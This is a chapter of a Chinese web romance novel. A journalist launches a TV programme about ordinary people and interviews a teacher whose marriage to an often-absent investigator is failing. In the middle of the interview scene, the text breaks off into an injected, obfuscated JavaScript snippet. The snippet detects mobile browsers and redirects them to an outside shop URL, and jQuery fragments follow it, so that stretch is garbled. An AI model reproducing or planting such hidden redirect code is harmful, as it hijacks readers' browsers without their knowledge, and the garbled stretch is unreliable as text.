苏皖趴在病床边的小桌上，笔尖悬在纸上，半天落不下去。
标题那一栏，空了三天。
陆铮靠在床头，手里拿着文件，目光却一直落在她身上。她咬着笔帽，眉心轻轻蹙着，把写满字的纸翻过去，再换一张，依旧是空着。
“想不出来？”他开口，声音很低。
苏皖没抬头：“想出来八个，都不对。”
“念念看。”
她翻回第一页，轻声念：
“《凡人微光》《寻常人·不寻常事》《他们的故事》《人间烟火》《暖》《微光》《听见》《身后》。”
念完自己先笑了，带着点无奈：“是不是都很一般？”
陆铮没评，静了两秒，缓缓开口：
“一皖微光。”
苏皖的笔尖，在纸上重重一顿。
她抬起头。
陆铮看着她，一字一句，清晰而稳：
“晚间八点档的晚，你的皖。你站在那个时段里，把那些普通人的故事讲出来。他们的日子，那些小事，暖的、苦的、撑着的——都是一束光。”
他顿了顿，眼底极轻地漾开一点温意：
“一束光，照不见多远。很多束叠在一起，就能照亮一段路。”
苏皖望着他，没说话。
几秒后，她低下头，在标题栏一笔一划，写下四个字：一皖微光。
“就它了。”她轻声说。
她继续翻策划案，指尖忽然碰到一叠压在平板下的纸。
抽出来一看，她整个人静住了。
密密麻麻，全是本市的素人素材——深夜值守的交警，身患癌症还在坚守岗位的班主任，常年不着家的基层工作者。分类清晰，背景完整，连采访切入点都标得清清楚楚。
她翻了两页，手指慢慢停住。
抬头看他。
“逛论坛时候顺便弄的。”陆铮语气平淡，像在说一件微不足道的小事。
苏皖张了张嘴，喉咙发紧，一句话都说不出来。
就在这时，陆铮的手机震了。
他看了眼来电显示，接起。
“嗯。”
听筒那边的声音很低，他脸上依旧没什么表情，可苏皖清晰看见——他握手机的指节，无声地收紧了一瞬。
“我知道了。”
电话挂掉。
苏皖安静看着他。
“江湖被停职了。”陆铮声音很平，听不出情绪，“专案组，换人了。”
苏皖没多问，只是伸手，轻轻握住他的手。
他的拇指，在她手背上极轻地蹭了一下。
“没事。”他说。
苏皖点点头，她相信，没有会难道他的事。
两个人都陷入沉思，病房重新安静。
苏皖望着那堆素材，不自觉地脱口而出：“第一期嘉宾太难选了。”
陆铮问：“你想选什么样的？”
“我想选一个让人一看就忘不了的——既能展现出普通人生活里的难，又能展现出他们藏在难里的坚守。”苏皖一边想一边说，手势动作都加上了。
陆铮沉默了一瞬，语气很自然，像是刚好想起一件事：
“那我给你讲讲江湖和他媳妇的故事吧。”
苏皖一怔：“江湖？”
“嗯。”
他没有刻意引导，就这么平静地讲了下去：
“江湖和他媳妇是邻居，也是高中同学。高中三年，他追了她三年，她没答应。”
他顿了顿。
“后来江湖去了队里，她考上师范。走之前，江湖给她写了一封信，就一句话——等我回来。”
陆铮的声音很轻。
“江湖在队里那几年，每个月给她写一封信，从来不提训练多苦，就写今天吃了什么、看到了什么、天气怎么样。她一封都没回过。但他还是写。”
“后来他在边境踩了雷。左腿炸烂了，人昏迷了三天。医院下了病危通知，她从他父母那里知道了消息。”
“她去了。”
“第一次去，他在ICU，隔着玻璃看了一眼。第二次去，他刚醒，没说几句话又昏睡过去。第三次去，他转到普通病房。她带了一袋橘子，坐在床边，剥了一个递给他。”
“江湖问她：你来干嘛。”
“她说：你说等你回来，我等了，你人呢？”
病房里静得只剩呼吸。
“再后来他们结婚。他们结婚的时候，江湖的假肢还没做好，他是坐在轮椅上完成的婚礼。再后来，她的教学成绩好，一直留在高三当班主任。江湖回到地方，进了他现在这个部门。”
陆铮的声音更轻了。
“他总是不在家。他们有纪律，一封闭就是几个月，最长时候有半年。家里家外，全交给了她一个人。听说江湖父母先后过世，葬礼都是他媳妇一个人操办的。”
苏皖垂下眼。
“有次，他喝多了，跟我们说，他媳妇从来不抱怨。他偶尔回家，家里永远是干净的。他问她累不累，她说不累。”
“但他知道她累。”陆铮说，“有次他半夜回去，看见她趴在孩子床边睡着了。床尾还摊着学生的卷子，手里还攥着红笔。他就站在那儿看了很久，没叫醒她。”
“当天晚上，他把家里坏了好几年的那个抽屉修好了。然后出门，买了一袋橘子回来，放在桌上。，他跟我们讲那些的时候，哭得像个孩子。”
陆铮顿了顿。
“现在他们在闹离婚。”陆铮的声音很淡，“我猜，不是不爱。是她媳妇撑不住了。一个守着学生，一个守着责任。两个人，都苦。”
陆铮抬起头，看着苏皖。
苏皖听完，眼睛一点点亮起来。
她抬头，语气笃定：
“陆铮，这就是我想要的。这就是《一皖微光》第一期最该拍的故事。”
陆铮看着她，轻轻点头，只应了一个字：
“嗯。”
---
两天后，台里召开节目立项评审会。
会议室里坐满了人。许明坐在主位，李文杰坐在他右手边，沈择坐在李文杰旁边。总编室主任、新闻中心主任、节目制作中心主任、广告中心主任——全台相关业务部门的一把手都在。
苏皖坐在长桌的另一端，面前摆着那份策划案。
会议还没正式开始，有人在低声交谈，有人翻着材料。李文杰端着茶杯，和旁边的沈择说了句什么。
许明敲了敲桌子。
会议室安静下来。
他扫了一眼在座的人，开口：
“正式开会之前，先说明一件事。”
所有人都看着他。
许明朝秘书示意了一下。秘书起身，把一份文件复印件分发到每个人手里。
“前段时间有关苏皖同志的网络舆情，以及更早前关于苏皖同志生活作风的传言，”许明顿了顿，“均已核实。都属于造谣毁谤。照片也属于借位拍摄。这是相关部门的正式调查结果，大家可以传阅一下。”
会议室里很静。翻纸的声音沙沙响着。
李文杰低头看了一眼那份文件，脸色微微变了一瞬，没说话。
等所有人都看完，许明把文件收回来，放在桌上。
“从这周起，苏皖同事正式恢复工作。”
“下面，开始吧。”他说，“《一皖微光》节目立项评审。苏皖，你先介绍。”
苏皖站起来，把策划案的重点讲了一遍。节目定位、目标受众、选题方向、第一期嘉宾的故事梗概。她讲得很清楚，语速不快不慢。
讲完，会议室里安静了几秒。
李文杰开口了。
他把手里的材料往前一推，语气公事公办：
“这个选题，我不赞成立项。”
所有人都看着他。
“普通人访谈，想法是好的。”李文杰说，“但咱们得实事求是——现在是流量时代，观众要的是什么？是爆点，是冲突，是能引起讨论的话题。这种平铺直叙讲老百姓日子的节目，有没有人看，得打个问号。”
他顿了顿。
“黄金档八点，那是台里最值钱的时段。把这么宝贵的资源投给一档素人访谈，万一收视率撑不起来，损失谁来担？台里的广告商怎么交代？我建议，这个选题要么调整方向，加点有话题性的内容，要么就先放一放，看看市场反应再说。”
沈择接了一句，语气恰到好处：
“李台说得有道理。苏皖的业务能力我们都认可，但这个选题本身，确实存在市场风险。现在的观众口味刁，太平的东西吃不进去。稳妥一点，先做几期样片试试水，或者放到次黄金档跑跑看，未必不是更好的选择。”
“苏皖，你怎么说？”许明没接李文杰和沈择的话，目光投向苏皖。
苏皖站起来，目光从在座的人脸上扫过，最后落在李文杰和沈择身上，又收回来。
“好的。李台刚才说，观众要爆点、要冲突。我不否认，这些确实能吸引眼球。但我做新闻这几年，发现一件事——真正让人记住的，往往不是那些热搜上的争吵，而是那些让你在深夜想起，心里还会软一下的瞬间。”
她顿了顿。
“去年我们做过一个街采，问路人最难忘的一个陌生人。有人说是下雨天帮他撑伞的便利店店员，有人说是深夜加班时递过来一杯热豆浆的保安，有人说是大雪天早上给小区义务扫雪的退休大爷。这些人和事，没有一个是爆点，没有一个是热搜，但每一个，都有人记在心里。”
她看向李文杰。
“李台担心收视率，我理解。但我想问一句——如果观众真的只吃爆点，那为什么每年春晚，最催泪的永远是那首唱父母的歌？为什么纪录片《人生第一次》能刷屏？因为那些普通人的故事里，藏着我们自己的影子。”
她停下，声音放缓。
“《一皖微光》想做的不多，就是把这些影子找出来，擦亮，让更多人看见。一束光照不见多远，但很多束叠在一起，就能照亮一段路。这档节目不指望一期爆红，但它能一期一期做下去，让那些撑得很辛苦的人相信，这是一个有希望、有光亮、有温暖的人世间。”
她说完，会议室里安静了几秒。
没人接话。
李文杰的脸色微微变了变，但很快恢复。他张了张嘴，还想再说什么——
“李台。”许明开口了。
李文杰的话被堵在喉咙里。
许明看了他一眼，又扫了一圈在座的人，语气很淡：
“这样吧，老规矩，投票。不记名，过半数就通过。”
他示意秘书分发选票。
白色的纸条，一人一张。
苏皖看着那些纸条发到每个人手里。
会议室里一共十三个人：九票赞成，两票反对，两票弃权。过半数，《一皖微光》通过立项评审。
李文杰的脸色沉了下来。
沈择的笑容僵在脸上。
苏皖泪水瞬间盈满眼眶。
许明把结果放在桌上，语气很平：
“准予制作。后续排期，按流程走。”
会议室里安静了几秒。
没有人说话。
那些刚才沉默的人，依旧沉默着。总编室主任低头看着手里的材料，新闻中心主任盯着桌面，节目制作中心主任翻着笔记本，广告中心主任端着茶杯慢慢喝，纪检专员靠在椅背上，目光落在天花板的某个角落。
和刚才一模一样。
可苏皖看着他们，深深鞠了一躬。
九票赞成。
那些沉默的人，把票投给了她。
---
接下来几天，苏皖和程雨一头扎进筹备里。联系场地、调试设备、梳理采访提纲。程雨紧张得不行，一遍遍问她：“皖姐，我是不是还落下了什么？”
苏皖说：“没事，有我呢。”
录制那天是个周二下午。
就在林晓燕家里。他们家有满墙的书柜，里面不但堆满书，还有随意塞在各处的各种奖杯、奖状。苏皖让摄像一一拍摄，放在片头。林晓燕坐在对面，双手交叠放在膝上，紧张得指尖发白。
摄像机红灯亮起。
苏皖没有铺垫，没有寒暄，直视她的眼睛，第一句话落得很轻：
“林老师，听说你在闹离婚？”
林晓燕明显没有料到这一问。她愣了一下，张了张嘴，没说出话。
苏皖看着她，语气放缓了些：
“我有时候在想，是不是太认真的老师，都保不住婚姻？”
林晓燕的眼眶，瞬间红了。“我们俩都太忙了，顾不上家。我们班一本率百分之百，可是我儿子——三年级了，语数英全不及格。我不是个合格的妻子，更不是个合格的妈妈。”
她低下头，沉默了几秒。再开口时，声音有点涩：
“我提离婚那天，他什么都没说。就在客厅坐着，坐了一夜。”
苏皖没说话，只是看着她。
林晓燕顿了顿。
“第二天早上，他把家里所有能修的东西都修了一遍。修完，他出门买了一袋橘子，回来放在桌上。”
她的眼泪掉下来，但声音还是平的。
“他就那样。什么都不说。连挽留一下都没有。”
苏皖递过去一张纸巾，没急着问。
等她情绪稍缓，才轻声开口：
“他经常不在家吗？”
林晓燕擦了擦眼泪，点了点头。
“他工作特殊。一走就是两三个月。最长的时候，一年只回家三天。”
她顿了顿。
“全在专案里。办起案子，就不要命。”
苏皖看着她。
“家里还被人泼过油漆。”林晓燕说，声音很轻，“半夜有人来泼的。我一个人带着孩子，找不到他，只能打110。”
苏皖沉默了几秒。
然后她开口，问得很轻，却直直地刺进去：
“林老师，如果有人跟你说，他渎职、不干净，你信吗？”
林晓燕猛地抬起头。
她眼眶还红着，眼泪还挂着，但眼神瞬间变了——不是愤怒，是本能地、下意识地维护。
“不可能。”
她声音不大，却斩钉截铁。
“他是什么人，我最清楚。清白、良心，那是他的命！”
她顿了顿，声音有点抖，但一字一字很清楚：
“他总说，他面对的，是一个个活生生的人的命运。他再认真一些、再细致一点，别人就能少受一点罪，国家就少一些损失。这样的人，你说他渎职？我不信。都不信！”
苏皖看着她。
“你明明这么爱他。”她轻声说。
林晓燕的眼泪又涌出来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211705|197427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她捂住脸，肩膀剧烈地抖，声音从指缝里漏出来，从嘤嘤的哭，到最后撕心裂肺。
一边哭，她一边含糊地说：“太难了，太难了！”
她哭了很久。
苏皖没劝，没说话，只是静静等着。
镜头就那么静静地录着。
终于，她放下手，看着苏皖：
“抱歉！这段，剪掉吧。”
苏皖安慰地笑笑，“我们，继续？”
林晓燕点点头。
“我爱他。我爱了他十几年，从高中到现在。可我太累了。我撑不住了。”
“他每次走，我都怕。我怕有一天，我等不到他回来。”
“我一个人扛了这么多年，我扛得住。可是我扛不住那个万一。”
“那天，我看到孩子期末考试卷子，我把自己的孩子带成那样，我没照顾好这个家啊！那天我真的崩溃了！”
苏皖看着她。
“如果真的离了，”她轻声问，“你还能接受别的感情吗？”
林晓燕怔住了。
她望着苏皖，嘴唇动了动。过了很久，她用力摇头。
“不能。”她说，声音很轻，却没有一丝犹豫，“不可能。这辈子不可能有别的人了。”
苏皖静静看着她的眼睛。
“后悔爱过他吗？”
林晓燕摇头，眼泪又涌出来。
“不后悔。”
“既然不后悔，既然接受不了别人，”苏皖顿了顿，“坚持下去，不是更好吗？”
林晓燕怔怔地望着她。
“还有谁，会比你更爱他，更能支持他呢？”
林晓燕的眼泪，又不受控地留下来，她转过头，看向书架。
书架上放着一张照片，一家三口，儿子周岁的时候拍的。一家三口，亲子装，都笑着。
她就那么看着。
很久。
然后她轻轻，轻轻地点了一下头。
“我只是委屈。”她轻声说，声音涩得厉害，“不知道该怎么发泄。”
她顿了顿。
那次访谈，她们聊了很久。
摄影师录了三个多小时。后来剪辑成五十分钟的节目。
---
周五晚上八点，《一皖微光》第一期准时播出。
苏皖在病房里，和陆铮一起看着屏幕。
节目播完，她没说话。
陆铮也没说话。
只是把她的手，握得更紧了一些。
第二天早上，苏皖是被手机震醒的。
程雨的微信一条接一条弹出来：
【皖姐！！收视率出来了！！同时段第二！！】
【全网播放量破三百万了！！】
【你上热搜了！！】
苏皖愣了几秒，点开链接。
#一皖微光#挂在热搜第十五。评论区全是——
【她哭的时候我也哭了】
【“他是英雄，是那种不能说的英雄”】
【最后那个点头，我也跟着点了】
【一个守着学生，一个守着责任，两个人都苦】
【姐姐别哭，他一定很爱你】
苏皖盯着屏幕，半天没动。
陆铮在旁边，看着她。
“皖皖，谢谢你。”他说。
苏皖抬起头，对上他的目光。
“陆铮，也谢谢你！”眼眶有点热，但她没让眼泪掉下来。
---
几天后。
陆铮已经能在搀扶下楼慢慢走。医生说，再过半个月，就可以出院休养。
那天傍晚，苏皖扶着他去楼下小花园散步。
黄昏的光落下来，把两个人的影子拉得很长。
她扶着他的胳膊，一步一步，走得很慢。
转角处，迎面撞上一个人。
沈择。
沈择先是一怔，而后走过来。
“哟，陆队，苏皖，真巧。”他嘴角挂着笑，目光落在两人相扶的手上。
苏皖的脚步停住。
沈择笑了笑，语气轻佻：
“我们苏皖现在可是台里红人了，《一皖微光》谁不夸。”他笑了笑，目光在两人身上转了一圈，“这节目做得真好，看得我都差点忘了——日子是日子，故事是故事。”
他顿了顿，语气里带着点恰到好处的惋惜。
“有些人啊，命里注定要一个人扛。节目里扛，节目外也得扛。”
话音落下，他看了陆铮一眼，目光落在他还没完全痊愈的身上，又收回来。
“陆队长这身体，也不知道什么时候能好利索。”他叹了口气，语气关切得像真的一样，“这么优秀的媳妇，能看不能碰的……”
他顿了顿，声音压低了些，却刚好能让两个人都听清：
“我听说，新婚夜就没过上？”
“看来，沈总监还挺关心别人夫妻生活的，是不是转去做娱乐节目更能发挥特长？”
沈择白了脸。
陆铮没有再看他。他只是微微侧身，把苏皖往自己身边带了带，继续往前走，和沈择擦身而过。
---
回到病房，已经八点多。
陆铮进门时，把门锁上了。走廊的声音被隔绝在外。
房间里很静。
苏皖去倒水，转过身，发现陆铮站在她身后，很近。
他走得慢，站得稳，只是上身始终绷得笔直，不敢弯，不敢晃，不敢松劲。
“皖皖。”
他的声音有点哑。
苏皖抬起头，对上他的目光。
那目光很深，和平常不一样。
“我今天出汗了。”他说，语气很轻，“能不能，帮我擦一擦？”
苏皖的心跳乱了一拍。
她轻轻点头。
她去卫生间拧了热毛巾，走回来。
他慢慢挪到床边坐下，腰背挺直，不敢靠实床板，只虚坐半侧，看着她。
她走到他面前，手伸出去，掀开他的病号服。
加压胸带横在胸腹间，勒得紧实，一圈压出浅淡的印子，分毫不敢松。
毛巾贴上去，一寸一寸，擦过他紧实肩背上露出来的皮肤，擦过他身上新新旧旧的伤疤——他的勋章。
她满眼都是心疼，对着那些伤疤，吻下去。
他没动。
呼吸却渐渐重了，不敢大喘，只浅浅加急，胸口起伏轻得几乎看不见。
苏皖停下来。
她抬眼，对上他的目光。
很近。
近到能看清他眼底翻涌的东西——克制了太久的，终于藏不住的。
“嫁给我，委屈吗？”他问，声音哑得厉害。
苏皖看着她，轻轻摇头。
“不委屈。”
陆铮的呼吸更沉了。
他盯着她的眼睛，一字一顿，问得很轻，却藏着全部的汹涌：
“那……可以吗？”
苏皖的心猛地一颤，轻声说：
“再等等吧。”
陆铮看着她。
缓慢地点了点头。
一点点把眼中的汹涌压下去。
病房里的光，都变得静默而发烫。
窗外，天已经黑透了。
远处的万家灯火，一点一点亮起来，像无数束微光，叠在一起，照亮这个夜晚。